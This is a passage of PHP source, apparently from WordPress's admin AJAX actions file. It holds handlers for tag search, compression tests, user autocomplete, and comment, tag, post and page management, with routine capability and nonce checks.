		wp_die( 0 );
	}

	if ( ! $wp_list_table->ajax_user_can() ) {
		wp_die( -1 );
	}

	$wp_list_table->ajax_response();

	wp_die( 0 );
}

/**
 * Handles tag search via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_ajax_tag_search() {
	if ( ! isset( $_GET['tax'] ) ) {
		wp_die( 0 );
	}

	$taxonomy        = sanitize_key( $_GET['tax'] );
	$taxonomy_object = get_taxonomy( $taxonomy );

	if ( ! $taxonomy_object ) {
		wp_die( 0 );
	}

	if ( ! current_user_can( $taxonomy_object->cap->assign_terms ) ) {
		wp_die( -1 );
	}

	$search = wp_unslash( $_GET['q'] );

	$comma = _x( ',', 'tag delimiter' );
	if ( ',' !== $comma ) {
		$search = str_replace( $comma, ',', $search );
	}

	if ( str_contains( $search, ',' ) ) {
		$search = explode( ',', $search );
		$search = $search[ count( $search ) - 1 ];
	}

	$search = trim( $search );

	/**
	 * Filters the minimum number of characters required to fire a tag search via Ajax.
	 *
	 * @since 4.0.0
	 *
	 * @param int         $characters      The minimum number of characters required. Default 2.
	 * @param WP_Taxonomy $taxonomy_object The taxonomy object.
	 * @param string      $search          The search term.
	 */
	$term_search_min_chars = (int) apply_filters( 'term_search_min_chars', 2, $taxonomy_object, $search );

	/*
	 * Require $term_search_min_chars chars for matching (default: 2)
	 * ensure it's a non-negative, non-zero integer.
	 */
	if ( ( 0 == $term_search_min_chars ) || ( strlen( $search ) < $term_search_min_chars ) ) {
		wp_die();
	}

	$results = get_terms(
		array(
			'taxonomy'   => $taxonomy,
			'name__like' => $search,
			'fields'     => 'names',
			'hide_empty' => false,
			'number'     => isset( $_GET['number'] ) ? (int) $_GET['number'] : 0,
		)
	);

	/**
	 * Filters the Ajax term search results.
	 *
	 * @since 6.1.0
	 *
	 * @param string[]    $results         Array of term names.
	 * @param WP_Taxonomy $taxonomy_object The taxonomy object.
	 * @param string      $search          The search term.
	 */
	$results = apply_filters( 'ajax_term_search_results', $results, $taxonomy_object, $search );

	echo implode( "\n", $results );
	wp_die();
}

/**
 * Handles compression testing via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_compression_test() {
	if ( ! current_user_can( 'manage_options' ) ) {
		wp_die( -1 );
	}

	if ( ini_get( 'zlib.output_compression' ) || 'ob_gzhandler' === ini_get( 'output_handler' ) ) {
		// Use `update_option()` on single site to mark the option for autoloading.
		if ( is_multisite() ) {
			update_site_option( 'can_compress_scripts', 0 );
		} else {
			update_option( 'can_compress_scripts', 0, 'yes' );
		}
		wp_die( 0 );
	}

	if ( isset( $_GET['test'] ) ) {
		header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
		header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
		header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
		header( 'Content-Type: application/javascript; charset=UTF-8' );
		$force_gzip = ( defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP );
		$test_str   = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';

		if ( 1 == $_GET['test'] ) {
			echo $test_str;
			wp_die();
		} elseif ( 2 == $_GET['test'] ) {
			if ( ! isset( $_SERVER['HTTP_ACCEPT_ENCODING'] ) ) {
				wp_die( -1 );
			}

			if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate' ) && function_exists( 'gzdeflate' ) && ! $force_gzip ) {
				header( 'Content-Encoding: deflate' );
				$out = gzdeflate( $test_str, 1 );
			} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip' ) && function_exists( 'gzencode' ) ) {
				header( 'Content-Encoding: gzip' );
				$out = gzencode( $test_str, 1 );
			} else {
				wp_die( -1 );
			}

			echo $out;
			wp_die();
		} elseif ( 'no' === $_GET['test'] ) {
			check_ajax_referer( 'update_can_compress_scripts' );
			// Use `update_option()` on single site to mark the option for autoloading.
			if ( is_multisite() ) {
				update_site_option( 'can_compress_scripts', 0 );
			} else {
				update_option( 'can_compress_scripts', 0, 'yes' );
			}
		} elseif ( 'yes' === $_GET['test'] ) {
			check_ajax_referer( 'update_can_compress_scripts' );
			// Use `update_option()` on single site to mark the option for autoloading.
			if ( is_multisite() ) {
				update_site_option( 'can_compress_scripts', 1 );
			} else {
				update_option( 'can_compress_scripts', 1, 'yes' );
			}
		}
	}

	wp_die( 0 );
}

/**
 * Handles image editor previews via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_imgedit_preview() {
	$post_id = (int) $_GET['postid'];
	if ( empty( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	check_ajax_referer( "image_editor-$post_id" );

	require_once ABSPATH . 'wp-admin/includes/image-edit.php';

	if ( ! stream_preview_image( $post_id ) ) {
		wp_die( -1 );
	}

	wp_die();
}

/**
 * Handles oEmbed caching via AJAX.
 *
 * @since 3.1.0
 *
 * @global WP_Embed $wp_embed
 */
function wp_ajax_oembed_cache() {
	$GLOBALS['wp_embed']->cache_oembed( $_GET['post'] );
	wp_die( 0 );
}

/**
 * Handles user autocomplete via AJAX.
 *
 * @since 3.4.0
 */
function wp_ajax_autocomplete_user() {
	if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) ) {
		wp_die( -1 );
	}

	/** This filter is documented in wp-admin/user-new.php */
	if ( ! current_user_can( 'manage_network_users' ) && ! apply_filters( 'autocomplete_users_for_site_admins', false ) ) {
		wp_die( -1 );
	}

	$return = array();

	/*
	 * Check the type of request.
	 * Current allowed values are `add` and `search`.
	 */
	if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) {
		$type = $_REQUEST['autocomplete_type'];
	} else {
		$type = 'add';
	}

	/*
	 * Check the desired field for value.
	 * Current allowed values are `user_email` and `user_login`.
	 */
	if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) {
		$field = $_REQUEST['autocomplete_field'];
	} else {
		$field = 'user_login';
	}

	// Exclude current users of this blog.
	if ( isset( $_REQUEST['site_id'] ) ) {
		$id = absint( $_REQUEST['site_id'] );
	} else {
		$id = get_current_blog_id();
	}

	$include_blog_users = ( 'search' === $type ? get_users(
		array(
			'blog_id' => $id,
			'fields'  => 'ID',
		)
	) : array() );

	$exclude_blog_users = ( 'add' === $type ? get_users(
		array(
			'blog_id' => $id,
			'fields'  => 'ID',
		)
	) : array() );

	$users = get_users(
		array(
			'blog_id'        => false,
			'search'         => '*' . $_REQUEST['term'] . '*',
			'include'        => $include_blog_users,
			'exclude'        => $exclude_blog_users,
			'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ),
		)
	);

	foreach ( $users as $user ) {
		$return[] = array(
			/* translators: 1: User login, 2: User email address. */
			'label' => sprintf( _x( '%1$s (%2$s)', 'user autocomplete result' ), $user->user_login, $user->user_email ),
			'value' => $user->$field,
		);
	}

	wp_die( wp_json_encode( $return ) );
}

/**
 * Handles Ajax requests for community events
 *
 * @since 4.8.0
 */
function wp_ajax_get_community_events() {
	require_once ABSPATH . 'wp-admin/includes/class-wp-community-events.php';

	check_ajax_referer( 'community_events' );

	$search         = isset( $_POST['location'] ) ? wp_unslash( $_POST['location'] ) : '';
	$timezone       = isset( $_POST['timezone'] ) ? wp_unslash( $_POST['timezone'] ) : '';
	$user_id        = get_current_user_id();
	$saved_location = get_user_option( 'community-events-location', $user_id );
	$events_client  = new WP_Community_Events( $user_id, $saved_location );
	$events         = $events_client->get_events( $search, $timezone );
	$ip_changed     = false;

	if ( is_wp_error( $events ) ) {
		wp_send_json_error(
			array(
				'error' => $events->get_error_message(),
			)
		);
	} else {
		if ( empty( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) ) {
			$ip_changed = true;
		} elseif ( isset( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) && $saved_location['ip'] !== $events['location']['ip'] ) {
			$ip_changed = true;
		}

		/*
		 * The location should only be updated when it changes. The API doesn't always return
		 * a full location; sometimes it's missing the description or country. The location
		 * that was saved during the initial request is known to be good and complete, though.
		 * It should be left intact until the user explicitly changes it (either by manually
		 * searching for a new location, or by changing their IP address).
		 *
		 * If the location was updated with an incomplete response from the API, then it could
		 * break assumptions that the UI makes (e.g., that there will always be a description
		 * that corresponds to a latitude/longitude location).
		 *
		 * The location is stored network-wide, so that the user doesn't have to set it on each site.
		 */
		if ( $ip_changed || $search ) {
			update_user_meta( $user_id, 'community-events-location', $events['location'] );
		}

		wp_send_json_success( $events );
	}
}

/**
 * Handles dashboard widgets via AJAX.
 *
 * @since 3.4.0
 */
function wp_ajax_dashboard_widgets() {
	require_once ABSPATH . 'wp-admin/includes/dashboard.php';

	$pagenow = $_GET['pagenow'];
	if ( 'dashboard-user' === $pagenow || 'dashboard-network' === $pagenow || 'dashboard' === $pagenow ) {
		set_current_screen( $pagenow );
	}

	switch ( $_GET['widget'] ) {
		case 'dashboard_primary':
			wp_dashboard_primary();
			break;
	}
	wp_die();
}

/**
 * Handles Customizer preview logged-in status via AJAX.
 *
 * @since 3.4.0
 */
function wp_ajax_logged_in() {
	wp_die( 1 );
}

//
// Ajax helpers.
//

/**
 * Sends back current comment total and new page links if they need to be updated.
 *
 * Contrary to normal success Ajax response ("1"), die with time() on success.
 *
 * @since 2.7.0
 * @access private
 *
 * @param int $comment_id
 * @param int $delta
 */
function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) {
	$total    = isset( $_POST['_total'] ) ? (int) $_POST['_total'] : 0;
	$per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0;
	$page     = isset( $_POST['_page'] ) ? (int) $_POST['_page'] : 0;
	$url      = isset( $_POST['_url'] ) ? sanitize_url( $_POST['_url'] ) : '';

	// JS didn't send us everything we need to know. Just die with success message.
	if ( ! $total || ! $per_page || ! $page || ! $url ) {
		$time           = time();
		$comment        = get_comment( $comment_id );
		$comment_status = '';
		$comment_link   = '';

		if ( $comment ) {
			$comment_status = $comment->comment_approved;
		}

		if ( 1 === (int) $comment_status ) {
			$comment_link = get_comment_link( $comment );
		}

		$counts = wp_count_comments();

		$x = new WP_Ajax_Response(
			array(
				'what'         => 'comment',
				// Here for completeness - not used.
				'id'           => $comment_id,
				'supplemental' => array(
					'status'               => $comment_status,
					'postId'               => $comment ? $comment->comment_post_ID : '',
					'time'                 => $time,
					'in_moderation'        => $counts->moderated,
					'i18n_comments_text'   => sprintf(
						/* translators: %s: Number of comments. */
						_n( '%s Comment', '%s Comments', $counts->approved ),
						number_format_i18n( $counts->approved )
					),
					'i18n_moderation_text' => sprintf(
						/* translators: %s: Number of comments. */
						_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
						number_format_i18n( $counts->moderated )
					),
					'comment_link'         => $comment_link,
				),
			)
		);
		$x->send();
	}

	$total += $delta;
	if ( $total < 0 ) {
		$total = 0;
	}

	// Only do the expensive stuff on a page-break, and about 1 other time per page.
	if ( 0 == $total % $per_page || 1 == mt_rand( 1, $per_page ) ) {
		$post_id = 0;
		// What type of comment count are we looking for?
		$status = 'all';
		$parsed = parse_url( $url );

		if ( isset( $parsed['query'] ) ) {
			parse_str( $parsed['query'], $query_vars );

			if ( ! empty( $query_vars['comment_status'] ) ) {
				$status = $query_vars['comment_status'];
			}

			if ( ! empty( $query_vars['p'] ) ) {
				$post_id = (int) $query_vars['p'];
			}

			if ( ! empty( $query_vars['comment_type'] ) ) {
				$type = $query_vars['comment_type'];
			}
		}

		if ( empty( $type ) ) {
			// Only use the comment count if not filtering by a comment_type.
			$comment_count = wp_count_comments( $post_id );

			// We're looking for a known type of comment count.
			if ( isset( $comment_count->$status ) ) {
				$total = $comment_count->$status;
			}
		}
		// Else use the decremented value from above.
	}

	// The time since the last comment count.
	$time    = time();
	$comment = get_comment( $comment_id );
	$counts  = wp_count_comments();

	$x = new WP_Ajax_Response(
		array(
			'what'         => 'comment',
			'id'           => $comment_id,
			'supplemental' => array(
				'status'               => $comment ? $comment->comment_approved : '',
				'postId'               => $comment ? $comment->comment_post_ID : '',
				/* translators: %s: Number of comments. */
				'total_items_i18n'     => sprintf( _n( '%s item', '%s items', $total ), number_format_i18n( $total ) ),
				'total_pages'          => (int) ceil( $total / $per_page ),
				'total_pages_i18n'     => number_format_i18n( (int) ceil( $total / $per_page ) ),
				'total'                => $total,
				'time'                 => $time,
				'in_moderation'        => $counts->moderated,
				'i18n_moderation_text' => sprintf(
					/* translators: %s: Number of comments. */
					_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
					number_format_i18n( $counts->moderated )
				),
			),
		)
	);
	$x->send();
}

//
// POST-based Ajax handlers.
//

/**
 * Handles adding a hierarchical term via AJAX.
 *
 * @since 3.1.0
 * @access private
 */
function _wp_ajax_add_hierarchical_term() {
	$action   = $_POST['action'];
	$taxonomy = get_taxonomy( substr( $action, 4 ) );
	check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name );

	if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) {
		wp_die( -1 );
	}

	$names  = explode( ',', $_POST[ 'new' . $taxonomy->name ] );
	$parent = isset( $_POST[ 'new' . $taxonomy->name . '_parent' ] ) ? (int) $_POST[ 'new' . $taxonomy->name . '_parent' ] : 0;

	if ( 0 > $parent ) {
		$parent = 0;
	}

	if ( 'category' === $taxonomy->name ) {
		$post_category = isset( $_POST['post_category'] ) ? (array) $_POST['post_category'] : array();
	} else {
		$post_category = ( isset( $_POST['tax_input'] ) && isset( $_POST['tax_input'][ $taxonomy->name ] ) ) ? (array) $_POST['tax_input'][ $taxonomy->name ] : array();
	}

	$checked_categories = array_map( 'absint', (array) $post_category );
	$popular_ids        = wp_popular_terms_checklist( $taxonomy->name, 0, 10, false );

	foreach ( $names as $cat_name ) {
		$cat_name          = trim( $cat_name );
		$category_nicename = sanitize_title( $cat_name );

		if ( '' === $category_nicename ) {
			continue;
		}

		$cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) );

		if ( ! $cat_id || is_wp_error( $cat_id ) ) {
			continue;
		} else {
			$cat_id = $cat_id['term_id'];
		}

		$checked_categories[] = $cat_id;

		if ( $parent ) { // Do these all at once in a second.
			continue;
		}

		ob_start();

		wp_terms_checklist(
			0,
			array(
				'taxonomy'             => $taxonomy->name,
				'descendants_and_self' => $cat_id,
				'selected_cats'        => $checked_categories,
				'popular_cats'         => $popular_ids,
			)
		);

		$data = ob_get_clean();

		$add = array(
			'what'     => $taxonomy->name,
			'id'       => $cat_id,
			'data'     => str_replace( array( "\n", "\t" ), '', $data ),
			'position' => -1,
		);
	}

	if ( $parent ) { // Foncy - replace the parent and all its children.
		$parent  = get_term( $parent, $taxonomy->name );
		$term_id = $parent->term_id;

		while ( $parent->parent ) { // Get the top parent.
			$parent = get_term( $parent->parent, $taxonomy->name );
			if ( is_wp_error( $parent ) ) {
				break;
			}
			$term_id = $parent->term_id;
		}

		ob_start();

		wp_terms_checklist(
			0,
			array(
				'taxonomy'             => $taxonomy->name,
				'descendants_and_self' => $term_id,
				'selected_cats'        => $checked_categories,
				'popular_cats'         => $popular_ids,
			)
		);

		$data = ob_get_clean();

		$add = array(
			'what'     => $taxonomy->name,
			'id'       => $term_id,
			'data'     => str_replace( array( "\n", "\t" ), '', $data ),
			'position' => -1,
		);
	}

	ob_start();

	wp_dropdown_categories(
		array(
			'taxonomy'         => $taxonomy->name,
			'hide_empty'       => 0,
			'name'             => 'new' . $taxonomy->name . '_parent',
			'orderby'          => 'name',
			'hierarchical'     => 1,
			'show_option_none' => '&mdash; ' . $taxonomy->labels->parent_item . ' &mdash;',
		)
	);

	$sup = ob_get_clean();

	$add['supplemental'] = array( 'newcat_parent' => $sup );

	$x = new WP_Ajax_Response( $add );
	$x->send();
}

/**
 * Handles deleting a comment via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_comment() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

	$comment = get_comment( $id );

	if ( ! $comment ) {
		wp_die( time() );
	}

	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		wp_die( -1 );
	}

	check_ajax_referer( "delete-comment_$id" );
	$status = wp_get_comment_status( $comment );
	$delta  = -1;

	if ( isset( $_POST['trash'] ) && 1 == $_POST['trash'] ) {
		if ( 'trash' === $status ) {
			wp_die( time() );
		}

		$r = wp_trash_comment( $comment );
	} elseif ( isset( $_POST['untrash'] ) && 1 == $_POST['untrash'] ) {
		if ( 'trash' !== $status ) {
			wp_die( time() );
		}

		$r = wp_untrash_comment( $comment );

		// Undo trash, not in Trash.
		if ( ! isset( $_POST['comment_status'] ) || 'trash' !== $_POST['comment_status'] ) {
			$delta = 1;
		}
	} elseif ( isset( $_POST['spam'] ) && 1 == $_POST['spam'] ) {
		if ( 'spam' === $status ) {
			wp_die( time() );
		}

		$r = wp_spam_comment( $comment );
	} elseif ( isset( $_POST['unspam'] ) && 1 == $_POST['unspam'] ) {
		if ( 'spam' !== $status ) {
			wp_die( time() );
		}

		$r = wp_unspam_comment( $comment );

		// Undo spam, not in spam.
		if ( ! isset( $_POST['comment_status'] ) || 'spam' !== $_POST['comment_status'] ) {
			$delta = 1;
		}
	} elseif ( isset( $_POST['delete'] ) && 1 == $_POST['delete'] ) {
		$r = wp_delete_comment( $comment );
	} else {
		wp_die( -1 );
	}

	if ( $r ) {
		// Decide if we need to send back '1' or a more complicated response including page links and comment counts.
		_wp_ajax_delete_comment_response( $comment->comment_ID, $delta );
	}

	wp_die( 0 );
}

/**
 * Handles deleting a tag via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_tag() {
	$tag_id = (int) $_POST['tag_ID'];
	check_ajax_referer( "delete-tag_$tag_id" );

	if ( ! current_user_can( 'delete_term', $tag_id ) ) {
		wp_die( -1 );
	}

	$taxonomy = ! empty( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : 'post_tag';
	$tag      = get_term( $tag_id, $taxonomy );

	if ( ! $tag || is_wp_error( $tag ) ) {
		wp_die( 1 );
	}

	if ( wp_delete_term( $tag_id, $taxonomy ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Handles deleting a link via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_link() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

	check_ajax_referer( "delete-bookmark_$id" );

	if ( ! current_user_can( 'manage_links' ) ) {
		wp_die( -1 );
	}

	$link = get_bookmark( $id );
	if ( ! $link || is_wp_error( $link ) ) {
		wp_die( 1 );
	}

	if ( wp_delete_link( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Handles deleting meta via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_meta() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

	check_ajax_referer( "delete-meta_$id" );
	$meta = get_metadata_by_mid( 'post', $id );

	if ( ! $meta ) {
		wp_die( 1 );
	}

	if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $meta->post_id, $meta->meta_key ) ) {
		wp_die( -1 );
	}

	if ( delete_meta( $meta->meta_id ) ) {
		wp_die( 1 );
	}

	wp_die( 0 );
}

/**
 * Handles deleting a post via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_delete_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'delete-post';
	}

	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

	if ( ! current_user_can( 'delete_post', $id ) ) {
		wp_die( -1 );
	}

	if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

	if ( wp_delete_post( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Handles sending a post to the Trash via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_trash_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'trash-post';
	}

	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

	if ( ! current_user_can( 'delete_post', $id ) ) {
		wp_die( -1 );
	}

	if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

	if ( 'trash-post' === $action ) {
		$done = wp_trash_post( $id );
	} else {
		$done = wp_untrash_post( $id );
	}

	if ( $done ) {
		wp_die( 1 );
	}

	wp_die( 0 );
}

/**
 * Handles restoring a post from the Trash via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_untrash_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'untrash-post';
	}

	wp_ajax_trash_post( $action );
}

/**
 * Handles deleting a page via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_delete_page( $action ) {
	if ( empty( $action ) ) {
		$action = 'delete-page';
	}

	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

	if ( ! current_user_can( 'delete_page', $id ) ) {
		wp_die( -1 );
	}

	if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

	if ( wp_delete_post( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Handles dimming a comment via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_dim_comment() {
	$id      = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	$comment = get_comment( $id );

	if ( ! $comment ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'comment',
				'id'   => new WP_Error(
					'invalid_comment',
					/* translators: %d: Comment ID. */
					sprintf( __( 'Comment %d does not exist' ), $id )
				),
			)
		);
		$x->send();
	}

	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) ) {
		wp_die( -1 );
	}

	$current = wp_get_comment_status( $comment );

	if ( isset( $_POST['new'] ) && $_POST['new'] == $current ) {
		wp_die( time() );
	}

	check_ajax_referer( "approve-comment_$id" );

	if ( in_array( $current, array( 'unapproved', 'spam' ), true ) ) {
		$result = wp_set_comment_status( $comment, 'approve', true );
	} else {
		$result = wp_set_comment_status( $comment, 'hold', true );
	}

	if ( is_wp_error( $result ) ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'comment',
				'id'   => $result,
			)
		);
		$x->send();
	}

	// Decide if we need to send back '1' or a more complicated response including page links and comment counts.
	_wp_ajax_delete_comment_response( $comment->comment_ID );
	wp_die( 0 );
}

/**
 * Handles adding a link category via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_add_link_category( $action ) {
	if ( empty( $action ) ) {
		$action = 'add-link-category';
	}

	check_ajax_referer( $action );

	$taxonomy_object = get_taxonomy( 'link_category' );

	if ( ! current_user_can( $taxonomy_object->cap->manage_terms ) ) {
		wp_die( -1 );
	}

	$names = explode( ',', wp_unslash( $_POST['newcat'] ) );
	$x     = new WP_Ajax_Response();

	foreach ( $names as $cat_name ) {
		$cat_name = trim( $cat_name );
		$slug     = sanitize_title( $cat_name );

		if ( '' === $slug ) {
			continue;
		}

		$cat_id = wp_insert_term( $cat_name, 'link_category' );

		if ( ! $cat_id || is_wp_error( $cat_id ) ) {
			continue;
		} else {
			$cat_id = $cat_id['term_id'];
		}

		$cat_name = esc_html( $cat_name );

		$x->add(
			array(
				'what'     => 'link-category',
				'id'       => $cat_id,
				'data'     => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr( $cat_id ) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>",
				'position' => -1,
			)
		);
	}
	$x->send();
}

/**
 * Handles adding a tag via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_add_tag() {
	check_ajax_referer( 'add-tag', '_wpnonce_add-tag' );

	$taxonomy        = ! empty( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : 'post_tag';
	$taxonomy_object = get_taxonomy( $taxonomy );

	if ( ! current_user_can( $taxonomy_object->cap->edit_terms ) ) {
		wp_die( -1 );
	}

	$x = new WP_Ajax_Response();

	$tag = wp_insert_term( $_POST['tag-name'], $taxonomy, $_POST );

	if ( $tag && ! is_wp_error( $tag ) ) {
		$tag = get_term( $tag['term_id'], $taxonomy );
	}

	if ( ! $tag || is_wp_error( $tag ) ) {
		$message    = __( 'An error has occurred. Please reload the page and try again.' );
		$error_code = 'error';

		if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
			$message = $tag->get_error_message();
		}

		if ( is_wp_error( $tag ) && $tag->get_error_code() ) {
			$error_code = $tag->get_error_code();
		}

		$x->add(
			array(
				'what' => 'taxonomy',
				'data' => new WP_Error( $error_code, $message ),
			)
		);
		$x->send();
	}

	$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => $_POST['screen'] ) );

	$level     = 0;
	$noparents = '';

	if ( is_taxonomy_hierarchical( $taxonomy ) ) {
		$level = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
		ob_start();
		$wp_list_table->single_row( $tag, $level );
		$noparents = ob_get_clean();
	}

	ob_start();
	$wp_list_table->single_row( $tag );
	$parents = ob_get_clean();

	require ABSPATH . 'wp-admin/includes/edit-tag-messages.php';

	$message = '';
	if ( isset( $messages[ $taxonomy_object->name ][1] ) ) {
		$message = $messages[ $taxonomy_object->name ][1];
	} elseif ( isset( $messages['_item'][1] ) ) {
		$message = $messages['_item'][1];
	}

	$x->add(
		array(
			'what'         => 'taxonomy',
			'data'         => $message,
			'supplemental' => array(
				'parents'   => $parents,
				'noparents' => $noparents,
				'notice'    => $message,
			),
		)
	);

	$x->add(
		array(
			'what'         => 'term',
			'position'     => $level,
			'supplemental' => (array) $tag,
		)
	);

	$x->send();
}

/**
 * Handles getting a tagcloud via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_get_tagcloud() {
	if ( ! isset( $_POST['tax'] ) ) {
		wp_die( 0 );
	}

	$taxonomy        = sanitize_key( $_POST['tax'] );
	$taxonomy_object = get_taxonomy( $taxonomy );

	if ( ! $taxonomy_object ) {
		wp_die( 0 );
	}

	if ( ! current_user_can( $taxonomy_object->cap->assign_terms ) ) {
		wp_die( -1 );
	}

	$tags = get_terms(
		array(
			'taxonomy' => $taxonomy,
			'number'   => 45,
			'orderby'  => 'count',
			'order'    => 'DESC',
		)
	);

	if ( empty( $tags ) ) {
		wp_die( $taxonomy_object->labels->not_found );
	}

	if ( is_wp_error( $tags ) ) {
		wp_die( $tags->get_error_message() );
	}

	foreach ( $tags as $key => $tag ) {
		$tags[ $key ]->link = '#';
		$tags[ $key ]->id   = $tag->term_id;
	}

	// We need raw tag names here, so don't filter the output.
	$return = wp_generate_tag_cloud(
		$tags,
		array(
			'filter' => 0,
			'format' => 'list',
		)
	);

	if ( empty( $return ) ) {
		wp_die( 0 );
	}

	echo $return;
	wp_die();
}

/**
 * Handles getting comments via AJAX.
 *
 * @since 3.1.0
 *
 * @global int $post_id
 *
 * @param string $action Action to perform.
 */
function wp_ajax_get_comments( $action ) {
	global $post_id;

	if ( empty( $action ) ) {
		$action = 'get-comments';
	}

	check_ajax_referer( $action );

	if ( empty( $post_id ) && ! empty( $_REQUEST['p'] ) ) {
		$id = absint( $_REQUEST['p'] );
		if ( ! empty( $id ) ) {
			$post_id = $id;
		}
	}

	if ( empty( $post_id ) ) {
		wp_die( -1 );
	}

	$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	$wp_list_table->prepare_items();

	if ( ! $wp_list_table->has_items() ) {
		wp_die( 1 );
	}

	$x = new WP_Ajax_Response();

	ob_start();
	foreach ( $wp_list_table->items as $comment ) {
		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && 0 === $comment->comment_approved ) {
			continue;
		}
		get_comment( $comment );
		$wp_list_table->single_row( $comment );
	}
	$comment_list_item = ob_get_clean();

	$x->add(
		array(
			'what' => 'comments',
			'data' => $comment_list_item,
		)
	);

	$x->send();
}

/**
 * Handles replying to a comment via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_replyto_comment( $action ) {
	if ( empty( $action ) ) {
		$action = 'replyto-comment';
	}

	check_ajax_referer( $action, '_ajax_nonce-replyto-comment' );

	$comment_post_id = (int) $_POST['comment_post_ID'];
	$post            = get_post( $comment_post_id );

	if ( ! $post ) {
		wp_die( -1 );
	}

	if ( ! current_user_can( 'edit_post', $comment_post_id ) ) {
		wp_die( -1 );
	}

